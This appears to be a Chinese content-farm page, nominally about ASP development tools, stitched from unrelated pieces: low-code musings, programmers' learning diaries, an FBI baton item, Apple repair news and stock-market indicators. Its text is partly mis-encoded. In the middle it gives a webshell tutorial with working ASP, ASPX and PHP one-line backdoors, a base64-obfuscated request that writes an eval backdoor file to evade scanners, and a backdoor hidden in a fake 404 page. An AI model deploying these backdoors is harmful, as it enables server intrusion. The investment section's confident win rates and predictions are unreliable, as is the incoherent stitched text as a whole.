摘要： 8月科學(xué)教育網(wǎng)小李來(lái)為大家講解下。asp開(kāi)發(fā)工具（asp編寫軟件這個(gè)很多人還不知道,現(xiàn)在讓我們一起來(lái)看看吧！人、技術(shù)、過(guò)程、工具、質(zhì)量-“以人為本”的工程哲學(xué)-iPerson人、技...

8月科學(xué)教育網(wǎng)小李來(lái)為大家講解下。asp開(kāi)發(fā)工具（asp編寫軟件這個(gè)很多人還不知道,現(xiàn)在讓我們一起來(lái)看看吧！

人、技術(shù)、過(guò)程、工具、質(zhì)量-“以人為本”的工程哲學(xué)-iPerson

人、技術(shù)、過(guò)程、工具、質(zhì)量-“以人為本”的工程哲學(xué)

工程哲學(xué)：以人為本：

市場(chǎng)是人的需求形成的；

產(chǎn)品是給人做的；

項(xiàng)目是人做的；

人能掌握的技術(shù)才有實(shí)用性；

人能執(zhí)行的過(guò)程才能落地；

人能使用的工具才是好工具。

工程的價(jià)值觀：五人原則

看人行：看看工程師和用戶的真實(shí)的工作情況；

知人難：真實(shí)的感受他們的難處；

做人事：給他們推薦具有可執(zhí)行性的流程和任務(wù)；

說(shuō)人話：用大家能夠聽(tīng)懂的語(yǔ)言交流。

看到低代碼開(kāi)發(fā)我就想到Dreamweaver，當(dāng)年我初學(xué)ASP時(shí)，用DW做了個(gè)論壇，那時(shí)候DW版本還是3.0、4.0。在DW完全可視化的狀態(tài)下，可以鼓搗出一個(gè)完整的，具有互動(dòng)功能的網(wǎng)站出來(lái)。各種元素屬性、樣式、行為都可以像填寫表格一樣直觀操作。但現(xiàn)在DW已經(jīng)日薄西山，真正開(kāi)發(fā)環(huán)境沒(méi)有幾個(gè)人用它了。究其原因，一是可視化操作并不能完全適應(yīng)千奇百怪的需求，二是可視化生成的代碼比較臃腫。雖然它可以在純代碼環(huán)境下編寫項(xiàng)目，但跟其他集成開(kāi)發(fā)環(huán)境相比，它這方面卻又顯得薄弱。

如今低代碼工具和平臺(tái)忽然興起，被很多人說(shuō)成是軟件開(kāi)發(fā)的趨勢(shì)。但我卻有些擔(dān)心，首先他們能做到DW當(dāng)初的功能和自由度嗎？其次即使能比肩DW，能解決DW的天生缺陷嗎？從我多年的軟件開(kāi)發(fā)經(jīng)驗(yàn)來(lái)看，需求是千變?nèi)f化的，而且有很多是稀奇古怪的，需要深入代碼層面去解決問(wèn)題。還有就是性能方面的問(wèn)題，可視化生成的代碼肯定比純手寫的代碼要臃腫，進(jìn)而降低運(yùn)行效率。然后還有擴(kuò)展性問(wèn)題，隨著項(xiàng)目需求越來(lái)越精細(xì)化，低代碼平臺(tái)能否持續(xù)提供支撐？我覺(jué)得現(xiàn)在有些低代碼工具和平臺(tái)可能走錯(cuò)了方向。

目前來(lái)看，行業(yè)內(nèi)卷，做PLC調(diào)試工作，因目前項(xiàng)目暫停，準(zhǔn)備剛好可以通過(guò)這段時(shí)間來(lái)學(xué)習(xí)，對(duì)于asp.net core， blazer ，vue，有些傻傻分不清。今天看了一下前端開(kāi)發(fā)，準(zhǔn)備做一下權(quán)限管理。

在網(wǎng)上看了需要安裝腳手架，原來(lái)輸入大寫的NODE一直不行，重新安裝了好幾遍，最后才發(fā)現(xiàn)要輸入小寫的，也不知道這樣是否就以為著腳手架安裝成功了。

年紀(jì)大了學(xué)習(xí)有點(diǎn)吃力了。給自己加油，第一步就是要學(xué)會(huì)做人員權(quán)限管理。同時(shí)熟悉工具的使用

#輕兵器科普##輕兵器愛(ài)好者#新時(shí)代更需“老派作風(fēng)”，F(xiàn)BI換裝新型ASP特工甩棍！這種新型甩棍稱為A40特工型，收縮時(shí)全長(zhǎng)只有203毫米，便于攜帶，通過(guò)按鈕釋放裝置，完全伸展后全長(zhǎng)可達(dá)406毫米。A40的標(biāo)準(zhǔn)版本除鋼制打擊頭外，還采用了鋁合金部件以減輕重量，但FBI采購(gòu)的版本完全由4140鋼制成，以增強(qiáng)打擊力。該版本還配有彈簧夾，便于放在口袋或腰帶中攜帶，非常適合便衣使用。ASP甩棍和OC噴霧劑、泰瑟槍一起，曾是美國(guó)執(zhí)法部門標(biāo)配的“非殺傷性”警用武器，最常見(jiàn)的一種輕量型，全重為255克，收縮狀態(tài)203毫米，完全伸展后533毫米。但近年來(lái)ASP和OC噴霧劑一度被視為過(guò)時(shí)產(chǎn)品。其實(shí)ASP除控制暴力事件、驅(qū)散人群外，還可以作為撬杠、指示棒以及破窗工具，用途廣泛。為此，廠商特意在一份聲明中說(shuō)：“能夠繼續(xù)得到聯(lián)邦調(diào)查局男女特工人員的信任，為他們提供履行職責(zé)和保障自身安全所需的設(shè)備和培訓(xùn)，這是一種莫大的榮譽(yù)?！痹摴痉Q，F(xiàn)BI是持續(xù)采購(gòu)更多甩棍的主要聯(lián)邦機(jī)構(gòu)之一。

奔四程序員，決定再深入學(xué)習(xí)一次單片機(jī)。

我算是比較早的一批程序員了，最早的時(shí)候使用ASP、PHP、VB，后來(lái)轉(zhuǎn)向c#，最近十來(lái)年則是以JAVA、PHP為主。其實(shí)小城市程序員真是啥都要干，jQuery、angular、vue、安卓、iOS我也都開(kāi)發(fā)了大量代碼。

五六年前我曾自學(xué)過(guò)一次STM32，并且把學(xué)習(xí)過(guò)程寫了一個(gè)小系列的博客，當(dāng)時(shí)用STM32最小板學(xué)習(xí)了串口、GPIO口、RAM和FLASH下載調(diào)試等技術(shù)。不過(guò)實(shí)際工作中用不到，學(xué)到這里就沒(méi)堅(jiān)持下去。上學(xué)的時(shí)候課程還是8086單片機(jī)，更是忘的影都沒(méi)了。上學(xué)時(shí)我學(xué)的電子專業(yè)，電路硬件知識(shí)還了解一點(diǎn)皮毛，也做過(guò)一些上位機(jī)軟件，對(duì)硬件通訊并不陌生。

明年就是“不惑”的年齡了，作為最早奔四的80后群體，現(xiàn)在之所以決定再次沖擊STM32開(kāi)發(fā)技術(shù)，還是為了日后的職場(chǎng)多留點(diǎn)后路。我在小城市做程序員，其實(shí)沒(méi)什么核心的科技含量，年齡大了，危機(jī)感就愈加強(qiáng)烈。經(jīng)過(guò)仔細(xì)觀察，我發(fā)現(xiàn)小城市互聯(lián)網(wǎng)從業(yè)的技術(shù)人員雖然薪資整體待遇比嵌入式略高，但可替代性更強(qiáng)，不從業(yè)務(wù)出發(fā)，只看技術(shù)的話，三四十歲程序員和二十多歲優(yōu)秀的程序員比，根本沒(méi)什么競(jìng)爭(zhēng)優(yōu)勢(shì)。

而嵌入式整體就業(yè)面要更窄，更像在一個(gè)小圈子里流動(dòng)，這個(gè)圈子相對(duì)來(lái)說(shuō)就略顯穩(wěn)定。

我身邊奔四的互聯(lián)網(wǎng)從業(yè)人員，很多就處于尷尬境地，求職工資太高很多公司給不起，工資太低滿足不了自己生活，高不成、低不就的狀況下，很多程序員干到奔四就走向了自我創(chuàng)業(yè)。但創(chuàng)業(yè)這事情，真的不是每個(gè)人都適合，起碼我是沒(méi)有這個(gè)信心。

另外嵌入式的技術(shù)迭代速度也沒(méi)有前端、后端這么瘋狂，開(kāi)發(fā)工具升版速度總體來(lái)說(shuō)不高。未來(lái)幾年國(guó)內(nèi)芯片技術(shù)可能迎來(lái)一波快速發(fā)展時(shí)期，早點(diǎn)進(jìn)入這個(gè)行業(yè)，看看能不能為未來(lái)職場(chǎng)留下更多話語(yǔ)權(quán)。

技術(shù)角度看，我打算把STM32再學(xué)深入一點(diǎn)，在之前學(xué)習(xí)的基礎(chǔ)上，把各種外設(shè)通訊、常用傳感器的使用都先學(xué)一下。這次使用了普中的STM32-F1開(kāi)發(fā)板，資源比起之前最小板豐富不少，還帶了一個(gè)觸摸屏，所以學(xué)完基礎(chǔ)部分，再學(xué)一下基于操作系統(tǒng)的嵌入式開(kāi)發(fā)。

學(xué)完這些，再?gòu)膽?yīng)用角度切入risc-v單片機(jī)系列的學(xué)習(xí)，正好身邊有這資源，集團(tuán)公司旗下有一個(gè)團(tuán)隊(duì)做risc-v芯片，最好能想辦法進(jìn)入某個(gè)開(kāi)發(fā)項(xiàng)目，這樣學(xué)以致用效果也更好。

學(xué)習(xí)方式是視頻+動(dòng)手實(shí)踐+看書+寫博客，之前學(xué)STM32時(shí)寫的博客太粗糙了，這次決心寫得更細(xì)致一些。

最近一年左右就這么規(guī)劃了，希望能堅(jiān)持下來(lái)。[加油]

一句話木馬原理與攻防

一句話木馬原理很簡(jiǎn)單，造型也很簡(jiǎn)單，所以造成了它理解起來(lái)容易，抵御起來(lái)也容易。于是黑白的較量變成了黑帽不斷的構(gòu)造變形的后門，去隱蔽特征，而白帽則不斷的更新過(guò)濾方法，建起更高的城墻。

一、原理簡(jiǎn)述

對(duì)于不同的語(yǔ)言有不同的構(gòu)造方法。

基本構(gòu)造：最開(kāi)頭構(gòu)造的是腳本開(kāi)始的標(biāo)記

核心部分：獲取并執(zhí)行得到的內(nèi)容，通常類似eval、execute等

被執(zhí)行內(nèi)容：一般是http等協(xié)議接受的值，通常類似request、$_POST等

如果我們通過(guò)客戶端向服務(wù)器發(fā)送被執(zhí)行內(nèi)容，那么就會(huì)讓服務(wù)器執(zhí)行我們發(fā)送的腳本，掛馬就實(shí)現(xiàn)了。

/*asp一句話木馬*/<%execute(request("value"))%>

/*php一句話木馬*/

/*aspx一句話木馬*/

<%@?Page?Language="Jscript"%>

<%eval(Request.Item["value"])%>

黑帽子的目的，就是想盡辦法給目標(biāo)網(wǎng)站插入這么一段會(huì)被儲(chǔ)存起來(lái)的語(yǔ)句?？梢允且粋€(gè)單獨(dú)的腳本文件文件（.asp 、.php、.aspx ），或者是隱藏在某些網(wǎng)頁(yè)下的文件、代碼等。

其中的value 就是客戶端要發(fā)送的內(nèi)容，然后通過(guò)客戶端與服務(wù)器建立連接，發(fā)送控制腳本。也會(huì)涉及到一些任意文件上傳漏洞等。

二、簡(jiǎn)單變形

很明顯的 eval 可以成為一個(gè)靜態(tài)特征碼，webshell掃描工具可以以此為關(guān)鍵詞，掃描到這種木馬加以屏蔽。于是可以簡(jiǎn)單變形不出現(xiàn)eval：

同理，傳給a值為 @base64_decode(base64編碼過(guò)后的eval)。

利用方法：

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通過(guò)對(duì)GET請(qǐng)求的URL構(gòu)造而形成利用，左括號(hào)和右括號(hào)是URL編碼，解碼回來(lái)如下：

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET請(qǐng)求后相當(dāng)于執(zhí)行一個(gè)assert函數(shù)，并把b作為assert的參數(shù)。b里面使用略php的base64解碼函數(shù)，把部分信息通過(guò)base64編碼而繞過(guò)掃描，解碼后如下：

?a=assert&b=${fputs(fopen(c.php,w),1)};

執(zhí)行后當(dāng)前目錄生成c.php文件并寫入一句話木馬，這已經(jīng)算是一個(gè)非常隱蔽的木馬了。而在PHP 后門的變形之路上，遠(yuǎn)遠(yuǎn)不止這些，甚至可以自己定義一個(gè)加密解密的函數(shù)，或者是利用xor, 字符串翻轉(zhuǎn)，壓縮，截?cái)嘀亟M等等方法來(lái)繞過(guò)。

三、變形改良

1.404頁(yè)面隱藏木馬

????

????

????

Not?Found

The?requested?URL?was?not?found?on?this?server.

????

????@preg_replace("/[pageerror]/e",$_POST['error'],"saft");

????header('HTTP/1.1?404?Not?Found');

?>

一般404頁(yè)面放好后，很少有人會(huì)定期對(duì)404頁(yè)面進(jìn)行檢查和修改。

如果在404頁(yè)面掛上了一句話后門，一方面不會(huì)被發(fā)現(xiàn)，另一方面，黑帽子很容易能定位到并連接上服務(wù)器。

詳情：網(wǎng)頁(yè)鏈接

【#蘋果宣布將推出自助維修計(jì)劃#，網(wǎng)友：為了賺更多】

歐界報(bào)道：

11月17日，蘋果宣布將推出自助維修計(jì)劃，這項(xiàng)計(jì)劃將從iPhone 12 與 iPhone 13 開(kāi)始。個(gè)人消費(fèi)者與超過(guò) 5000 家 Apple 授權(quán)服務(wù)提供商（AASP）和 2800 家獨(dú)立維修服務(wù)提供商一樣可以獲取零件、工具與維修手冊(cè)，進(jìn)行自助維修。

但是部分網(wǎng)友認(rèn)為蘋果此舉是為了賺更多錢。大部分的人都不具備專業(yè)的修機(jī)技術(shù)，很容易把手機(jī)修壞，再找蘋果專門的維修店，維修的價(jià)格會(huì)更高。再者，第三方維修點(diǎn)會(huì)全面購(gòu)買 Apple 官方備件，這無(wú)疑是為蘋果備件供應(yīng)鏈打工。不知道對(duì)此，你怎么看呢？

通過(guò)數(shù)據(jù)判斷行情：

1、? M1-M2增速差

是貨幣供應(yīng)量的活化指標(biāo)，代表資金流向趨勢(shì)，增速差的走勢(shì)跟市場(chǎng)行情基本同步，甚至還能提前一點(diǎn)，所以這個(gè)指標(biāo)特別有用。特別是要抓那些大趨勢(shì)的拐點(diǎn)，當(dāng)增速差長(zhǎng)期向上或向下然后發(fā)生轉(zhuǎn)折的時(shí)候，市場(chǎng)跟著轉(zhuǎn)勢(shì)的可能性就非常大，例如2019年市場(chǎng)增速差見(jiàn)底回升，那么股市其實(shí)就很有可能回升。還有市場(chǎng)逆增速差而動(dòng)，比如2017年，市場(chǎng)一路上揚(yáng)，增速差一路向下，其實(shí)這時(shí)候風(fēng)險(xiǎn)就比較大了，所以用增速差來(lái)判斷大勢(shì)，有著7-8成的勝率。

查M1-M2增速差網(wǎng)站：網(wǎng)頁(yè)鏈接

2、? 社融周期

社融周期也就是信用周期，社融向上行情不會(huì)太差，社融向下，行情不會(huì)太好。社融的用法是排除法，逆社融的行情可能不會(huì)長(zhǎng)久，比如2017年，社融一路向下，到了2018年就出現(xiàn)了下跌。社融這個(gè)數(shù)據(jù)是存量同比數(shù)據(jù)，2021年9月已經(jīng)降到10%，基本算是歷史最低水平，即將跌破2018年底的9.8%，社融這個(gè)指標(biāo)遵循否極泰來(lái)的效應(yīng)，一旦到底，未來(lái)必然出現(xiàn)反彈，2018年就比較明顯，一旦社融反彈市場(chǎng)很快就會(huì)回來(lái)。

而宏觀杠桿率也非常重要，一旦聽(tīng)到去杠桿這三個(gè)字行情通常表現(xiàn)不會(huì)太好，特別是債券也會(huì)很糟糕。

3、? PPI和銅價(jià)

PPI指標(biāo)是判斷經(jīng)濟(jì)強(qiáng)周期的標(biāo)志，PPI大幅上升，證明未來(lái)強(qiáng)周期可能會(huì)出現(xiàn)，比PPI更快速的工具是銅價(jià)，銅價(jià)上升PPI上升強(qiáng)周期未來(lái)上升的概率就會(huì)非常大，超過(guò)80%，所以一旦看到這兩個(gè)指標(biāo)上升就應(yīng)該布局強(qiáng)周期板塊，比如有色、鋼鐵、煤炭、化工，或者寬基中的中證紅利指數(shù)。

PPI和銅價(jià)構(gòu)筑了一個(gè)周期模型，當(dāng)PPI和銅價(jià)飆升時(shí)強(qiáng)周期就會(huì)出現(xiàn)，如果其中一個(gè)指標(biāo)掉頭向下或出現(xiàn)見(jiàn)頂信號(hào)就應(yīng)該注意周期向下的風(fēng)險(xiǎn)。

4、? 滬深300指數(shù)股息率溢價(jià)

資產(chǎn)之間價(jià)格關(guān)系，通常用的指標(biāo)是滬深300股息率溢價(jià)數(shù)據(jù)，也就是滬深300的股息率除十年期國(guó)債收益率，這是比較股債最基礎(chǔ)的邏輯，看誰(shuí)更有優(yōu)勢(shì)，一旦溢價(jià)特別低的時(shí)候，說(shuō)明長(zhǎng)期看股市投資就沒(méi)有優(yōu)勢(shì)了，預(yù)期收益還不如債券。

查看滬深300指數(shù)股息率溢價(jià)方式：微信-小程序-韭圈-股債性價(jià)比-比值-股息率溢價(jià)

?

?

投資怎么做預(yù)測(cè)：

1看政策，政策是會(huì)對(duì)市場(chǎng)進(jìn)行逆周期調(diào)節(jié)的，當(dāng)經(jīng)濟(jì)變差的時(shí)候，未來(lái)政策大概率會(huì)干預(yù)，比如現(xiàn)在，我們就預(yù)測(cè)，今年底明年初，政策一定會(huì)轉(zhuǎn)向積極，政策不斷釋放利好，降低資金成本，一定會(huì)讓市場(chǎng)利率下行，在股債比當(dāng)中，股市的吸引力會(huì)持續(xù)提升。所以政策的逆周期變化，是一個(gè)比較確定的東西。也是經(jīng)濟(jì)預(yù)測(cè)中，最重要的一個(gè)點(diǎn)。

?

2看情緒，我們經(jīng)常講，盈虧同源，繁榮始于衰退，衰退的原因就是繁榮，當(dāng)市場(chǎng)瘋狂之后，必然跟隨的就是暴跌，當(dāng)市場(chǎng)暴跌之后，未來(lái)預(yù)期回報(bào)就會(huì)很高。你與其研究什么天干地支陰陽(yáng)五行，不如把之前的漲跌幅好好看看，像2019和2020年，連漲了兩年之后，2021年必然會(huì)是一個(gè)調(diào)整年。當(dāng)大家都知道買白酒穩(wěn)賺不陪了，那么白酒就肯定要下跌。當(dāng)大家都追著買新能源，都去炒煤炭，把價(jià)格炒上天之后，那么必然就是崩潰。這種預(yù)測(cè)的勝率是非常大的。

?

3才是看周期，看企業(yè)利潤(rùn)，看企業(yè)庫(kù)存，看社會(huì)融資，說(shuō)白了也是看企業(yè)未來(lái)投資的意愿，能反映他們的樂(lè)觀程度，如果大家都很不樂(lè)觀，庫(kù)存很高，業(yè)績(jī)一天比一天差，那么股市肯定會(huì)有下跌。如果都出清了，庫(kù)房里沒(méi)東西可賣了，開(kāi)始重新生產(chǎn)，進(jìn)入主動(dòng)補(bǔ)庫(kù)存，那么未來(lái)業(yè)績(jī)就會(huì)釋放。股市預(yù)期也會(huì)逐漸上來(lái)。

?

4、看預(yù)期回報(bào)，未來(lái)行情好不好，取決于有多少預(yù)期回報(bào)比較高的投資標(biāo)的，如果預(yù)期回報(bào)很高，能買的東西多，那么第二年行情就差不了。相反如果可買的東西不多，啥都貴了，也沒(méi)什么確定性的機(jī)會(huì)，那么第二年很可能就是大跌。比如巴菲特在70年代初期解散了巴菲特合伙公司，就是因?yàn)樗也坏绞裁纯梢酝顿Y的東西了。后面連續(xù)幾年的暴跌，他也就躲過(guò)去了。并不是他多能預(yù)測(cè)，而是策略決定的。當(dāng)很多東西，都透支了未來(lái)幾年的回報(bào)，都適合賣出，不適合買入的時(shí)候，他的倉(cāng)位自然就下來(lái)了。

?

[玫瑰][玫瑰]女神節(jié)節(jié)的約會(huì)[心][心][心]

本文asp開(kāi)發(fā)工具（asp編寫軟件到此分享完畢，希望對(duì)大家有所幫助。